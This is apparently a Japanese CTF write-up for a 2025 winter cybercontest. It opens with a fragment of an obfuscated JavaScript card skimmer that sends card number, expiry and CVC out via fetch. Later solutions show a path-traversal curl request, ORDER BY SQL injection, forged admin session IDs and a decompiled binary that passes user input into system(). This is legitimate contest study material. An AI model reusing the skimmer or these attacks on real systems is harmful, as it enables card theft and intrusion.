            return _0x56a0cc(_0x18f520 - 0x91, _0xc0f838 - 0x3f, _0x18f520 - 0xb1, _0x3572e1);
        }
        if (_0x2b1e79[_0x331b2c(-0x57, -0x5d, -0x61, -0x3e)](_0x2b1e79[_0x331b2c(-0x8a, -0x62, -0xa3, -0xab)], _0x2b1e79[_0x331b2c(-0x8a, -0xab, -0xa9, -0x9c)])) {
            const _0x3e5fd8 = _0x331b2c(-0x73, -0x5f, -0x82, -0x5d) + _0x331b2c(-0x80, -0x8d, -0x9c, -0x81) + _0x331b2c(-0x82, -0xa3, -0x7b, -0x62) + _0x331b2c(-0x91, -0xa9, -0x92, -0x92) + _0x584c1a(0x11b, 0x110, 0xfa, 0x12f) + _0x584c1a(0x136, 0x148, 0x120, 0x120) + _0x2b1e79[_0x331b2c(-0x85, -0x61, -0x9c, -0x87)](encodeURIComponent, _0x9ae3dd) + '&exp-date=' + _0x2b1e79[_0x331b2c(-0x85, -0xb3, -0x87, -0x75)](encodeURIComponent, _0x57060f) + '&cvc=' + _0x2b1e79['urqoZ'](encodeURIComponent, _0x33294f) + '&' + _0x5930f7;
            return _0x3e5fd8;
        } else {
            const _0x4e5c42 = _0x91cb6d ? function() {
                function _0x4919d9(_0x193f07, _0x552b6e, _0x368122, _0x3cc653) {
                    return _0x584c1a(_0x193f07 - 0x3f, _0x368122 - 0xd0, _0x552b6e, _0x3cc653 - 0x7f);
                }
                if (_0xe435f8) {
                    const _0x448eb9 = _0xfc6dda[_0x4919d9(0x20b, 0x1f1, 0x211, 0x23c)](_0x214b37, arguments);
                    return _0x298a6c = null, _0x448eb9;
                }
            } : function() {};
            return _0x47c216 = ![], _0x4e5c42;
        }
    }

    function _0x12237f(_0x8c4fb5) {
        function _0x4f00bc(_0x4d2c05, _0x58638d, _0x4af98a, _0xd7a688) {
            return _0x56a0cc(_0x4d2c05 - 0x163, _0x58638d - 0xf3, _0x4af98a - 0x43a, _0xd7a688);
        }

        function _0x5a2684(_0x312b3c, _0x20eaae, _0x194436, _0x3315b2) {
            return _0x27ef0e(_0x312b3c - 0xcf, _0x312b3c - -0xb9, _0x3315b2, _0x3315b2 - 0x13e);
        }
        if (_0x2b1e79[_0x5a2684(0x143, 0x142, 0x13b, 0x140)](_0x2b1e79[_0x4f00bc(0x2ef, 0x2d6, 0x2f9, 0x310)], _0x5a2684(0x191, 0x18e, 0x16b, 0x18d))) _0x2606ff *= 0x1090 + 0x58 * 0x46 + -0x289e, _0x18ba61 > -0x1ee7 + -0x19 * -0xc5 + 0x257 * 0x5 && (_0x59b811 -= -0x12db + 0xf31 + 0x3b3 * 0x1);
        else {
            let _0x39e251 = -0x1a99 * -0x1 + -0x2e3 + -0x17b6,
                _0x5d648f = ![];
            for (let _0x23cadc = _0x2b1e79[_0x4f00bc(0x307, 0x2e8, 0x312, 0x31b)](_0x8c4fb5['length'], -0x165 + -0x1 * -0x15d3 + -0x146d); _0x2b1e79[_0x4f00bc(0x2e3, 0x302, 0x2fd, 0x2f1)](_0x23cadc, -0x1 * 0x1785 + 0x2 * -0x2a7 + -0x1cd3 * -0x1); _0x23cadc--) {
                if (_0x2b1e79[_0x5a2684(0x143, 0x119, 0x16a, 0x149)](_0x2b1e79[_0x4f00bc(0x352, 0x326, 0x333, 0x313)], _0x4f00bc(0x316, 0x339, 0x322, 0x33a))) {
                    let _0x3adf4b = _0x2b1e79['ORAkQ'](parseInt, _0x8c4fb5[_0x23cadc]);
                    if (_0x5d648f) {
                        if (_0x2b1e79[_0x4f00bc(0x30d, 0x2ef, 0x2e2, 0x2c1)](_0x2b1e79['jtMaF'], _0x4f00bc(0x323, 0x309, 0x327, 0x305))) {
                            let _0x3f9c9e = _0x2b1e79[_0x4f00bc(0x2c9, 0x2f5, 0x2f6, 0x2d1)](_0x496db0, _0x1721cc[_0x437451]);
                            _0x1f14d8 && (_0x3f9c9e *= -0x1316 + -0x409 + -0x1 * -0x1721, _0x2b1e79[_0x4f00bc(0x2db, 0x2fc, 0x2ee, 0x2ef)](_0x3f9c9e, 0x25f5 + -0x51e * 0x7 + -0x21a) && (_0x3f9c9e -= -0x1c9e + -0x2 * 0x6c0 + 0x2a27)), _0x5eaf1c += _0x3f9c9e, _0x5b6f5a = !_0x4de0a6;
                        } else _0x3adf4b *= -0x26e5 + 0x9c9 + 0x1d1e, _0x3adf4b > 0xf11 + -0x120 * -0x5 + -0x14a8 && (_0x3adf4b -= 0x1eee + 0x8 * -0x11f + 0x15ed * -0x1);
                    }
                    _0x39e251 += _0x3adf4b, _0x5d648f = !_0x5d648f;
                } else {
                    const _0x51130c = _0x21e3df[_0x5a2684(0x171, 0x187, 0x169, 0x15e)](_0x457673, arguments);
                    return _0x1e68ee = null, _0x51130c;
                }
            }
            return _0x2b1e79['YKgIS'](_0x2b1e79['hRTya'](_0x39e251, 0xdb6 + -0x714 + -0x698), -0xcfa + -0x60d + 0x1307);
        }
    }
    let _0x24d3e7 = _0x2b1e79[_0x56a0cc(-0x107, -0x144, -0x137, -0x135)](_0x3bb027);
    _0x2b1e79[_0x56a0cc(-0x100, -0x12d, -0xfc, -0x104)](fetch, _0x24d3e7);
});

function _0x3a0c() {
    const _0x649865 = ['weDmwKS', 'Dg9Y', 'ywrKrxzLBNrmAq', 'wujktMK', 'CNv1wem', 'sfn3AhO', 'qw9oDwW', 'qvngq3m', 'B3vPD3m', 'ntaWnJDYCeflwwO', 'DhjHy2u', 'A3Pys3O', 'uM5ez0q', 'yLzUqNm', 'BgjSr2S', 'uujJAfq', 'ChjVDg90ExbL', 'nda2mJGWEe5Jug9y', 'DvzptKm', 'C3rLBMvY', 'u2TPBw1PBMC9Da', 'D2HmD2O', 'psDJDMmNxq', 'Cvn4BvO', 'z2DiB0i', 'zxHJzxb0Aw9U', 'DxjXB1O', 'AxjmB1m', 'CgCZp2nHCMrUDq', 'mZe1otfvAKfbwe4', 'zxjYB3i', 'BerKq0i', 'E30Uy29UC3rYDq', 'i2nHCMqTzxHWAq', 'DMfSDwu', 'Dg9tDhjPBMC', 'mZeZmJzlvxHmueq', 'EKTruLC', 'y29UC29Szq', 'z1LLyve', 'ndu5mZnvAunYA0W', 'DgfIBgu', 's2f4tem', 'vxPdEw0', 'zKDYv24', 'AgngDhC', 'mtC2CLnwv0r2', 'kcGOlISPkYKRkq', 'tKDUEuu', 'yMLUza', 'DLnLs1G', 'vxLdBfC', 'BgvUz3rO', 'BNrLC3qUBMv0lW', 'vM1yuuG', 'CMv0DxjUicHMDq', 'y3rVCIGICMv0Dq', 'ndC3ntyWu0zSA0nI', 'vNviyKG', 'y29UC3rYDwn0BW', 'DuLyAvq', 'yKTbu2i', 'mZyXnZGYzfjZvwX0', 'DNDKC3a', 'BwvNsK0', 'y1vUsLu', 'ruzyyue', 'psDJyxjKBNvTyG', 'zxiTy3LIzxjJBW', 'C2vHCMnO', 'mY4Ymdi1D2LUDa', 'ofzcDKz4tq', 'Aw5WDxrBBMfTzq', 'EMzirvy', 'ugvuteW', 'zxiNxq', 'x19WCM90B19F', 'yxbWBhK', 'sxvYv0i', 'u1feEeq', 'CM4GDgHPCYiPka', 'D2fYBG', 'CxvLCNLtzwXLyW', 'Ahr0Chm6lY9WzW', 'BwjLCJ0', 'BeLyzha', 'Aw5MBW', 'yxHYD24', 'id4GzM9YBq', 'svrjDeu', 'u1LbCKe', 'mNbPz21ftG', 'wLLgree', 'D2XiA3e', 'DunJCg0', 'v3DrwMS', 'BMn0Aw9UkcKG'];
    _0x3a0c = function() {
        return _0x649865;
    };
    return _0x3a0c();
}

途中にfetchの文字列が見えるので、送信先を調べたい。念の為にfetchを上書きする次のコードを付け足して実行しながらデバッグする。

const originalFetch = window.fetch;
const originalLog = console.log;
window.fetch = function(...args) {
  originalLog('fetch called with arguments:', args);
}

そのまま実行するとエラーが起きるが、これはフォームを参照しようとして失敗するエラーなので、参照しようとしているフォームのidやnameを見つけ出す。

querySelectorが見える部分でHTMLの要素を参照しているのでここで復号される文字列をデバッグ。

すべての文字列は上の部分で復元されるのでここを重点的に見た。

エラーをデバッグしていくと、次のようなHTMLのフォームで通るようになった。クレジットカードの番号はチェックデジットだけ揃えている。

<div id="card-expiry-element"><form>
<input type="text" name="cvc" value="123">
<input type="text" name="exp-date" value="04/2028">
<input type="text" name="cardnumber" value="1234567812345670">
<input type="submit" value="go">
</form></div>

この状態でsubmitすると次の部分でエラー停止した。

通信先のURLが復元されているので、ここにアクセスするとflagを獲得できる。

flag{f1iping_de0bfuscat0r}

loop in loop (300)

以下の要件を満たすプログラムを作成してください。 プログラムの言語は問いません。

1.引数として以下の値を指定できる。

第一引数:文字列
第二引数:文字列
2.プログラム内部で引数に以下の処理を加える。

それぞれの引数のハッシュ値を求める。ハッシュ関数にはRIPEMD160を使用する。
第一引数のハッシュ値の1文字目と第二引数のハッシュ値の1文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
続いて、第一引数のハッシュ値の1文字目と第二引数のハッシュ値の2文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
同様に、3文字目、4文字目と続け、と第二引数のハッシュ値の最後の文字まで行う。
続けて第一引数のハッシュ値の2文字目に対して第二引数のハッシュ値の1文字目から同様の処理を行う。
同様に第一引数のハッシュ値の3文字目、4文字目と続け、と第一引数のハッシュ値の最後の文字まで行う。
それぞれの値を加算する。
加算された値を10進数で出力する。
このプログラムに下記の引数を与えた時に出力される値を答えてください。

第一引数:Phoenix
第二引数:Messiah

【回答書式】 flag{n桁の半角数字}

リリースしたばかりのChatGPT o3-mini-high・・・ではなく推論コスト小さそうなのでo1に問題文そのままブチ込んで次のコードを書いてもらった。

#!/usr/bin/env python3
import sys
import hashlib

def main():
    # 引数チェック(プログラム名を含めて3個必要)
    if len(sys.argv) != 3:
        print("Usage: {} <文字列1> <文字列2>".format(sys.argv[0]))
        sys.exit(1)

    arg1 = sys.argv[1]
    arg2 = sys.argv[2]

    # RIPEMD160 のハッシュ値をそれぞれ求める
    # hashlib.new を使い、エンコードしたバイト列を渡す
    try:
        hash1 = hashlib.new('ripemd160', arg1.encode('utf-8')).hexdigest()
        hash2 = hashlib.new('ripemd160', arg2.encode('utf-8')).hexdigest()
    except ValueError:
        print("エラー: RIPEMD160 ハッシュが利用できません。")
        sys.exit(1)

    total = 0

    # 第一引数のハッシュの各文字と第二引数のハッシュの各文字の組み合わせについて
    for ch1 in hash1:
        for ch2 in hash2:
            # 両方とも数値(0~9)の場合のみ
            if ch1.isdigit() and ch2.isdigit():
                num1 = int(ch1)
                num2 = int(ch2)
                # XOR を計算して加算
                total += num1 ^ num2

    # 結果を10進数で出力
    print(total)

if __name__ == "__main__":
    main()

引数2つを入れるとflagがとれた。

flag{5785}

頭が肝心です (100)

添付したメールファイルからフラグを探してください。 フラグはこのメールが届くまでに経由した2番目のメールサーバのIPアドレスとします。

【回答書式】 flag{IPアドレス}

Return-Path: <no-return@example.com>
X-Original-To: user@example.com
Delivered-To: user@example.com
Received: from smtp.example.com ([172.30.55.96])
    by rfs.example.com; Thu, 28 Dec 2023 17:47:05 +0900 (JST)
Received: from ex.example.com ([10.231.24.42])
    by smtp.example.com; Thu, 28 Dec 2023 17:45:21 +0900 (JST)
To: user@example.com
Subject: [CTF] Mail From NW
From: sender@example.com
Received: from mx.example.com ([172.16.25.39])
    by ex.example.com; Thu, 28 Dec 2023 17:32:47 +0900 (JST)
Received: from mail.example.com ([192.168.52.21])
    by mx.example.com; Thu, 28 Dec 2023 17:32:38 +0900 (JST)
Received: by mail.example.com (Postfix, from userid 33)
        id DE79A41AF7; Thu, 28 Dec 2023 17:32:24 +0900 (JST)
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit
Message-Id: <20231228083224.DE79A41AF7@example.com>
Date: Thu, 28 Dec 2023 17:51:24 +0900 (JST)

参加者各位

このメールはサイバーコンテストにおける問題[NW]のメールです。
メールの中からフラグを見つけてください。
ご検討を祈ります。

flag{172.16.25.39}

3 Way Handshake? (200)

添付したのはTCPポートスキャン時のパケットログです。 オープンポートを見つけてください。 オープンしているポート番号を小さい順に「,(カンマ)」で区切って答えてください。

【回答書式】 flag{n1,n2,n3,.....}

ポートスキャンのログから開いたポートのリストを得る。応答があったポートはSYN,ACKが返ってきてるので、tcp.flags == 0x12でフィルタリング。

開いたポート一覧が判明するので小さい順に並べるとflag。

flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}

さあ得点は? (200)

添付されたパケットファイルから攻撃を特定し、その攻撃のCVEを調べてください。 その攻撃のCVSS Version2.0のBaseScoreがフラグです。 CVSSのスコアはNISTで公開されている値とします。 https://nvd.nist.gov/

【回答書式】 flag{数値}

HEADリクエストで大量のRangeが送信されている。検索すると「CVE-2011-3192 ApacheKiller」がヒットした。

CVSS Version2.0の値がflagになる。

flag{7.8}

decode (300)

添付のパケットファイルからフラグを探してください

【回答書式】 flag{n桁の半角英数記号}

pcapファイルが分割されているので全部マージする。

Wireshark\mergecap.exe -a *.pcap -w merged.pcap

マージしたpcapですべてのオブジェクトをエクスポートすると画像をbase64エンコードしたJSONデータが10個手に入るのですべて復元する。

flag{c4ptur3_cat}

簡単には見せません (100)

https://we1-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁のアルファベット}

Web探索問題、/robots.txtを読む。

User-Agent:*
Disallow:/
Disallow:/red/
Disallow:/gold/
Disallow:/yellow/
Disallow:/blue/
Disallow:/pink/
Disallow:/black/

見つかったディレクトリを見ていくとblueに次のディレクトリが見つかる。

/blue/flg/のソースコード中にflag。

<!DOCTYPE html>
<html lang="ja-JP">
<head>
<meta charset="utf-8" />
<title>WE-1</title> 
</head>
<body>
<h2>このページにフラグがあります</h2>
</body>
</html>
<!-- flag{TakeMeToTheFlag} -->

flag{TakeMeToTheFlag}

試練を乗り越えろ! (100)

下記のURLからフラグを入手してください。

https://we2-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁のアルファベット}

1万回今の問題の番号を答えなければいけないらしいが、ソースコードに現在の問題番号が入っている。

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h2>試練を乗り越えろ!</h2>
<hr>
フラグが欲しければ1万問の質問に答えてください。<br>
<hr>
第1問<br>
今は何問目?
<br>
<form method="POST">
<input type="hidden" name="qCount" value="1">
答え:<input type="text" name="answer" size="6">
<input type="submit" name="submit" value="送信">
</form>
</body>
</html>

qCountを10000に書き換えて10000を回答。

flag{WinThroughTheGame}

直してる最中なんです (200)

下記のサイトから脆弱性のあるアプリケーションを特定し、その脆弱性を利用してフラグを入手してください。

https://we3-prod.2025winter-cybercontest.net/

フラグが記載されているファイルは下記の通りです。 /etc/WE-3

【回答書式】 flag{25桁の半角英数字}

<!-- @format -->

<!DOCTYPE html>
<html
    xmlns="http://www.w3.org/1999/xhtml"
    xml:lang="ja-JP"
    lang="ja-JP"
    prefix="og: http://ogp.me/ns#"
>
    <head>
        <meta charset="utf-8" />
        <meta name="robots" content="noindex" />
        <title>NO LIFE NO STONE</title>
        <!--<script type="text/javascript" src="secret/download.js"></script>-->
    </head>

    <body>
        <h2>そのへんの石</h2>
        ※ダウンロードの仕組みは調子悪いので(^^;
        欲しい方は画像を直接コピーしてね。<br />
        <hr />
        <img src="stone/WE-3-01.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-01')">ダウンロード</button> -->
        <img src="stone/WE-3-02.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-02')">ダウンロード</button> -->
        <img src="stone/WE-3-03.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-03')">ダウンロード</button> -->
        <img src="stone/WE-3-04.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-04')">ダウンロード</button> -->
        <img src="stone/WE-3-05.png" height="50" />
        <!-- <button onClick="dlFIle('WE-3-05')">ダウンロード</button> -->
    </body>
</html>

ソースコード中にsecret/download.jsが見つかる。中身は次の通り。

function dlFIle(file){
        var dataS = 'fName=' + file;
        var xhr = new XMLHttpRequest();
        xhr.open('POST','/secret/download.php');
        xhr.send(dataS);
        xhr.onload = function() {
                var strS = xhr.responseText;
        };
}

phpが見つかるのでアクセスしてみる。

ファイルインクルードの脆弱性がありそうだ。ディレクトリは/var/www/html/secret/なので、../../../../etc/WE-3を指定してcurlでPOSTする。

$ curl -X POST --data 'fName=../../../../etc/WE-3' https://we3-prod.2025winter-cybercontest.net/secret/download.php
flag{fGrantUB56skBTlmF14mostFP}

flag{fGrantUB56skBTlmF14mostFP}

直接聞いてみたら? (200)

下記のURLはAPIテストのためのフォームです。 ここからフラグを入手してください。

https://we4-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁のアルファベット}

<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="robots" content="noindex" />
<script src="jquery-3.6.0.min.js"></script>
<title>WE-4</title>
<body>
WE-4 APIテストフォーム
<hr>
<form name="form1" action="json.php" method="post">

<input type="checkbox" name="name">名前<br>
<input type="checkbox" name="email">メールアドレス<br>
<input type="checkbox" name="tel">電話番号<br>
<input type="checkbox" name="address">住所<br>
<form>
<button type="button"  onClick=sendData()>問い合わせ</buttton>
</body>
</html>

<script>
function sendData(){
        var dataS = $('form').serializeArray();
        var dataB = btoa(JSON.stringify(dataS));
        var data = "data=" + dataB

        console.log(data);
        var xhr = new XMLHttpRequest();
        xhr.open('POST','json.php');
        xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        xhr.send(data);

        xhr.onload = function() {
          if (xhr.status != 200) {
            alert(`失敗 ${xhr.status}: ${xhr.statusText}`);
          } else {
            alert(`成功, 取得データは ${xhr.response.length} bytes`);
          }
        };
}
</script>

適当にリクエストしてレスポンスを見てみる。

flagをリクエストしたらflagが返ってきそう。

返ってきた。

flag{ParameterHandlingError}

整列! (300)

旗の下に必要な者だけが正しく並べばいいのです。

https://we5-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁の英数字}

データをIDでソートして最初の20個だけ見ることができる。flagの並びはflagSeqで指定されているので、すべてのflagSeqを見つけたい。ID以外を指定してもソートできそうなのでやったところ、できた。

https://we5-prod.2025winter-cybercontest.net/index.php?sort=id+ASC
https://we5-prod.2025winter-cybercontest.net/index.php?sort=id+DESC
https://we5-prod.2025winter-cybercontest.net/index.php?sort=data+ASC
https://we5-prod.2025winter-cybercontest.net/index.php?sort=data+DESC
https://we5-prod.2025winter-cybercontest.net/index.php?sort=flagSeq+ASC
https://we5-prod.2025winter-cybercontest.net/index.php?sort=flagSeq+DESC

これらで手に入るflag文字列はまだ足りない。SQLではORDER BYされていると考えて、RAND()を試す。

https://we5-prod.2025winter-cybercontest.net/index.php?sort=RAND()

ランダムに出力されるようになった。何度か繰り返すとすべて見つかった。

flag{6f24d2267d87b7b232ed0d6ed3ad2924}

エンコード方法は一つじゃない (100)

以下の文字列をデコードしてFlagを答えてください。

%26%23%78%35%35%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%65%3b%26%23%78%34%32%3b%26%23%78%37%64%3b%56%6d%46%79%61%57%39%31%63%30%56%75%59%32%39%6b%61%57%35%6e%63%77%3d%3d%36%36%36%63%36%31%36%37%37%62

【回答書式】 flag{n桁のアルファベット}

URL Decodeした。

&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;VmFyaW91c0VuY29kaW5ncw==666c61677b

3種類のエンコードにわかれる。それぞれデコードする。

&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;    : UcanB}
VmFyaW91c0VuY29kaW5ncw==                : VariousEncodings
666c61677b                              : flag{

flag{VariousEncodingsUcanB}

File Integrity of Long Hash (100)

添付のZIPファイルの中から下記のファイルを探してください。 フラグはそのファイルの中に書かれています。

189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf

配布されるzipを解凍して出てくるファイルのハッシュを計算する。

> Get-FileHash * -Algorithm "SHA512" > ../sha512.txt

長さ的にSHA384から試していったらSHA512でflags_89.txtがヒットした。

flag{346D895B8FF3892191A645}

Equation of ECC (200)

楕円曲線のパラメータは以下の通りとします。

a=56,b=58,p=127

基準点(42,67)と設定した場合、公開鍵の値が下記になる秘密鍵の最も小さい値を答えてください。

公開鍵(53,30)

【回答書式】 flag{半角数字}

リリースされたばかりのChatGPT o3-mini-highに聞いてみた。

# 楕円曲線のパラメータ
a = 56
b = 58
p = 127

# 基準点(生成元)
G = (42, 67)

# ここでは例として公開鍵 Q を設定します.
# 例えば Q = (x_Q, y_Q) とする.(実際の問題に合わせて値を変更してください)
Q = (53, 30)   # ※ ここは問題で与えられた公開鍵に置き換えること

# 拡張ユークリッド互除法で逆元を求める(pは素数なのでpow()も使えます)
def inv_mod(n, p):
    return pow(n, p-2, p)

# 楕円曲線上の点の加法
def point_add(P, Q):
    # 零元(無限遠点)は None で表す
    if P is None:
        return Q
    if Q is None:
        return P

    (x1, y1) = P
    (x2, y2) = Q

    # 互いに逆の点なら結果は零元
    if x1 == x2 and (y1 + y2) % p == 0:
        return None

    # 2点が異なる場合
    if P != Q:
        # 傾きの計算: s = (y2 - y1)/(x2 - x1) mod p
        s = ((y2 - y1) * inv_mod(x2 - x1, p)) % p
    else:
        # 接線の場合: s = (3*x1^2 + a)/(2*y1) mod p
        s = ((3 * x1 * x1 + a) * inv_mod(2 * y1, p)) % p

    x3 = (s * s - x1 - x2) % p
    y3 = (s * (x1 - x3) - y1) % p
    return (x3, y3)

# スカラー倍 (倍角法)
def scalar_mult(k, P):
    result = None  # 零元
    addend = P

    while k:
        if k & 1:
            result = point_add(result, addend)
        addend = point_add(addend, addend)
        k //= 2
    return result

# 秘密鍵 d を 1 から全探索
# ※ 楕円曲線の群の位は p の近くとは限らないので,適宜探索範囲を調整してください.
found = False
for d in range(1, p * 10):   # 十分大きい範囲で探索
    if scalar_mult(d, G) == Q:
        print("最小の秘密鍵 d =", d)
        found = True
        break

if not found:
    print("指定された公開鍵に対応する秘密鍵は見つかりませんでした.")

d = 16が得られる。

flag{16}

PeakeyEncode (300)

文字化けした文が送られてきました。送信者によるとこの文字化けはインターネットから探してきたロジックを使って暗号化を施したかったそうです。 暗号化した際の環境が送られてきているので復号ができないでしょうか。

暗号化に使ったscript.rbと出力のencryptionが配布される。

encode.rbの正体は不明だが、使われている文字の種類からbrainfuckっぽい。brainfuckの<>+-.,[]がそれぞれのどの文字に変換されるかscript.rbを動かして確かめる。

漢字になっている部分を利用して文字化けしたデータを元のbrainfuckに戻す。

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++++++.-----------.+++
+++.++++++++++++++++++++.--.----------.++++++.----------------------.++++++++++++.+++.+.++++++++.------------------------.+++
.++++++++++++++++.-----------------.------------------------------------------------.++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++.+++++++++++++++.

オンラインエミュレータで動かす。(https://kachikachi.net/brainfuck/)

flag{you_know_bra1n}

露出禁止! (100)

付のログファイルから脆弱性を特定し下記のサイトからフラグを手に入れてください。

https://fr1-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁のアルファベット}

192.168.100.103 - - [10/Jul/2024:15:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.103 - - [10/Jul/2024:15:36:03 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.103 - - [10/Jul/2024:15:36:05 +0900] "GET /mypage.php?sesid=MTcyMjMxMjQxNywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.100.106 - - [10/Jul/2024:15:40:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [10/Jul/2024:15:40:08 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [10/Jul/2024:15:40:11 +0900] "GET /mypage.php?sesid=MTcyMjM0Nzk5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [11/Jul/2024:09:36:24 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [11/Jul/2024:09:36:29 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:36:30 +0900] "GET /ctf/fr1/index.php?msg=2 HTTP/1.1" 200 478
192.168.100.106 - - [11/Jul/2024:09:45:54 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:46:00 +0900] "GET /mypage.php?sesid=MTc2NzIyNTU5OSw2LHVzZXI2 HTTP/1.1" 200 281
192.168.100.106 - - [12/Jul/2024:16:54:44 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [12/Jul/2024:16:54:50 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [12/Jul/2024:16:54:58 +0900] "GET /mypage.php?sesid=MTcyMjQ0MTU5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [15/Jul/2024:13:05:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [15/Jul/2024:13:05:13 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [15/Jul/2024:13:05:18 +0900] "GET /mypage.php?sesid=MTcyMjQyNzg1NywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.123.101 - - [19/Jul/2024:21:54:42 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.101 - - [19/Jul/2024:21:54:49 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.101 - - [19/Jul/2024:21:54:51 +0900] "GET /mypage.php?sesid=MTcyMjMzNDE5MiwxLGFkbWluCg== HTTP/1.1" 200 282
192.168.123.102 - - [21/Jul/2024:16:32:32 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.102 - - [21/Jul/2024:16:32:45 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.102 - - [21/Jul/2024:16:32:52 +0900] "GET /mypage.php?sesid=MTcyMjg5MjM3NCwyLHVzZXIyCg== HTTP/1.1" 200 281
192.168.123.105 - - [25/Jul/2024:12:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.105 - - [25/Jul/2024:12:45:32 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.105 - - [25/Jul/2024:12:25:36 +0900] "GET /mypage.php?sesid=MTcyMzA2NjQ5NCw1LHVzZXI1Cg== HTTP/1.1" 200 281

/mypage.php?sesid=MTcyMjMzNDE5MiwxLGFkbWluCg==にアクセスと「セッションの有効期限が切れました。再度ログインしてください」と言われる。

MTcyMjMzNDE5MiwxLGFkbWluCg==をbase64で復号すると1722334192,1,admin。7/19のアクセスログに対して、1722334192のUNIX時間は7月30日なので、セッションの期限と推測。

ページ内のログイン日時は2025/02/02 04:09:43だったので、1日後の日付をUNIX時間に変更。2025年2月3日13時9分43秒 => 1738555783、これを使ってsesidを再構築した。

/mypage.php?sesid=MTczODU1NTc4MywxLGFkbWluCg==にアクセスするとflagが手に入る。

flag{SessionIDsCarefully}

成功の証 (200)

フラグは攻撃者が見つけ出した「パスワード」とします。

【回答書式】 flag{パスワード}

pcapファイルが配布される。中身はFTPのログイン試行で、成功しているものを探すとストリーム188で見つかる。

220 (vsFTPd 3.0.3)
USER agita
331 Please specify the password.
PASS wwwww
530 Login incorrect.
USER agita
331 Please specify the password.
PASS yyyyyyyy
530 Login incorrect.
USER agita
331 Please specify the password.
PASS zyyzzyzy
230 Login successful.

flag{zyyzzyzy}

犯人はこの中にいる! (200)

下記のパケットログは、攻撃のフェーズにおいて特定のサーバにポートスキャンを行ったと思われていたものです。 実は、これは内部にいる攻撃者が外部IPアドレスを偽証したものです。 本当の内部にいる攻撃者のIPアドレスを見つけてください。

ポートスキャンのpcapファイルが配布される。スキャン中の発信元MACアドレス 00:0c:29:4d:c2:33 に一致するスキャン以外のパケットを探したところ、ICMPパケットから192.168.204.137が見つかった。

flag{192.168.204.137}

chemistry (300)

添付のプログラムは実行時に引数として数字を与えることができます。 このプラグラムで「FLAG I AM LUCKY」と表示させるための引数を答えてください。

複数の引数を送る場合は、「,(カンマ)」で区切ってください。 スペースは「0」を送ってください。

【回答書式】 flag{数値,数値,.....}

配布される実行バイナリをGhidraで解析、次の関数が逆コンパイルされる。

undefined8 main(undefined8 param_1,long param_2)

{
  char *local_10;
  
  if (*(long *)(param_2 + 8) == 0) {
    printf("[INPUT CODE]");
  }
  else {
    local_10 = strtok(*(char **)(param_2 + 8),",");
    asciiChange(local_10);
    while (local_10 != (char *)0x0) {
      local_10 = strtok((char *)0x0,",");
      if (local_10 != (char *)0x0) {
        asciiChange(local_10);
      }
    }
  }
  putchar(10);
  return 0;
}




void asciiChange(char *param_1)

{
  int iVar1;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  int local_c;
  
  local_68 = 0x747468206c727563;
  local_60 = 0x3472662f2f3a7370;
  local_58 = 0x6e6977353230322e;
  local_50 = 0x656279632d726574;
  local_48 = 0x747365746e6f6372;
  local_40 = 0x6568632f74656e2e;
  local_38 = 0x663f79727473696d;
  local_30 = 0x3d6465655367616c;
  local_28 = 0;
  local_20 = 0;
  strcat((char *)&local_68,param_1);
  local_c = atoi(param_1);
  if ((local_c < 0) || (0x76 < local_c)) {
    printf("[CODE ERROR]");
  }
  else {
    iVar1 = system((char *)&local_68);
    if (iVar1 == -1) {
      printf("[Command Error[");
    }
  }
  return;
}

